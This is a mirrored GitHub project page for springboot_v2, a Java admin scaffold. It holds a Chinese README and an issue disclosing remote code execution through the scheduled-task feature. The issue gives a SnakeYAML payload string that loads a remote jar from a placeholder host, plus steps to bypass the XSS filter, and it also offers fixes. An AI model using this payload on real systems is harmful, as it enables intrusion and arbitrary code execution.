Coder Social home page Coder Social logo

fuce1314 / springboot_v2 Goto Github PK

View Code? Open in Web Editor NEW
1.7K 1.7K 555.0 37.4 MB

SpringBoot_v2项目是努力打造springboot框架的极致细腻的脚手架。包括一套漂亮的前台。无其他杂七杂八的功能,原生纯净。

Home Page: https://gitee.com/bdj/SpringBoot_v2

License: Apache License 2.0

Java 11.04% Batchfile 0.01% CSS 4.45% JavaScript 79.35% HTML 5.16%
admin bootstrap java responsive springboot vue

springboot_v2's Introduction

公告

由于以前的v2有白屏bug(偶尔需要点击2次才能展示内容,无法debug),个人无法解决,v2以前全新换皮肤。如果你要研究可以查看分支:【20210101v2】 sa-token为最新皮肤

前言

  • SpringBoot_v2项目是努力打造springboot框架的极致细腻的脚手架。包括一套漂亮的前台。无其他杂七杂八的功能,原生纯净。
  • 服务器演示:http://124.70.187.180:8080/springboot_v2/ 账号:admin 密码:admin 老版本v2分支为20210101v2 目前mater为新皮肤

项目介绍

基于springboot的一款纯净脚手架。努力打造一款免费开源、注释全、文档全适合新手学习、方便快速二次开发的框架。

1. 没有基础版、没有vip版本、没有付费群、没有收费二维码
2. 遵循开源真谛,一切免费才是真开源
3. 不求回报,你使用快乐就是这个项目最大的快乐!

分支介绍

版本名称 说明 地址
master 主分支 https://gitee.com/bdj/SpringBoot_v2
mybatis-plus 持久层框架升级为mybatis-plus https://gitee.com/bdj/SpringBoot_v2/tree/mybatis-plus/
20210101v2 老版本v2 https://gitee.com/bdj/SpringBoot_v2/tree/20210101v2/

开发环境

  • JDK8.0
  • mysql5.7以上
  • eclipse

资源下载

部署流程

  1. 导入doc文件夹里面的springbootv2.sql到数据库
  2. 确认自己的mysql版本 进行修改jar 在pom.xml 73-84行
  3. 修改application-dev.yml 里面自己数据库版本对应的jdbc链接
  4. 正常启动run SpringbootSwagger2Application.java

打包发布编译流程

  • maven编译安装pom.xml文件即可打包成war

登陆地址

启动类

  • SpringbootStart 启动类

新界面风格

输入图片说明 输入图片说明
输入图片说明 输入图片说明

数据库模型

数据库模型

后台代码注释风格

后台代码 后台代码
后台代码 后台代码

前端代码注释风格

HTML代码页面 js引入

情况说明

  • 如果您喜欢Springboot_v2,可以clone下来使用,您的star将是本人前进的动力,如果您有技术疑问,可以加群交流。
  • 如果Springboot_v2对您有一点帮助,您可以点个star,就是对作者最大的支持了。
  • Springboot_v2脚手架会一直更新下去。
  • 需要进项目一起开发的请进群私聊我,让我们一起维护这个开发项目
  • 很多人反应说404,那是因为其他页面根本没做,因为权限脚手架只在系统设置里面。我留着其他链接,是方便你们根据需求自行添加页面

开发者联系

  • QQ:87766867
  • QQ群:1057709523 SrpringBoot-v2 进群备注springbootv2

有任何问题可以提出

注意事项

  • 所有的model字段解释都在mysql的字段注释里面,请具体查看mysql的字段注解

Github

wiki

项目视频列表

  • 自动生成代码视频:qq群文件里面

更新日志

参与开源作者

荣誉殿堂

名字 联系方式 贡献功能 其他
霜花似雪 QQ2510736432 bug修改
modelc QQ1219171582 框架结构整理
ok 克里斯汀 增加 druid 连接池
JanHezz QQ975532442 引入了 quartz 框架 个人博客推荐:http://www.luckyhe.com
一休 QQ438081243 添加字典表模块 码云地址:https://gitee.com/notutu
愿得一人心 QQ1065001748 修改 try 流 bug 个人博客推荐:https://www.songyaxu.com
Aini-H QQ1057718016 七牛云上传

借鉴项目列表

精品项目推荐

项目名称 项目地址 项目介绍
Jpom GVP项目 https://gitee.com/dromara/Jpom 一款简而轻的低侵入式在线构建、自动部署、日常运维、项目监控软件
AgileBPM GVP项目 https://gitee.com/agile-bpm 专注于解决企业工作流实施难的问题
AlibabaCloud https://gitee.com/matevip/matecloud MateCloud是一款基于Spring Cloud Alibaba的微服务架构
ApiBoot https://gitee.com/minbox-projects/api-boot 为接口服务而生
v2皮肤 https://gitee.com/Jmysy/Pear-Admin-Layui

Java公众号推荐:

输入图片说明

使用v2做得系统

###牛油果 Giteye chart

springboot_v2's People

Contributors

dependabot[bot] avatar fadehub avatar fuce1314 avatar janhezz avatar okkristen avatar quotationmarks-jzj avatar songyaxu avatar stop-bullshit avatar xuecl001 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

springboot_v2's Issues

[vulnerability] Remote Code Execute

1. Steps to reproduce

Using the project https://github.com/artsploit/yaml-payload, modify AwesomeScriptEngineFactory.java as follows

image-20240218210104501

Building and package, moveyaml-payload.jar into the root directory of the web service

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

When using the Scheduled Tasks feature, the call string will always contain symbols such as brackets and quotes, however, the XSSFilter in the program will convert these symbols to other characters, making the Scheduled Tasks feature completely unusable. So we need to whitelist the XSSFilter in application.yml for routes related to the scheduled tasks

image-20240219165720337

A new scheduled task is created as follows

image-20240219164951577

调用目标字符串 field is org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://IP:PORT/yaml-payload.jar"]]]]')

Execute this task after submission to remotely execute arbitrarily code

2. Expected behavior

The com.aurora.util.JobInvokeUtil#invokeMethod method is used to reflectively execute the specified method of the given class

image-20240219165141687

3. Actual behavior

However, there is no filtering of incoming class names and method names in this method, resulting in dangerous class names and method names being passed in and executed

4. Affected Version

v2

5. Fixes Recommendations

  1. Filter dangerous class names
  2. Filter unnecessary protocols such as http, rmi, etc.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.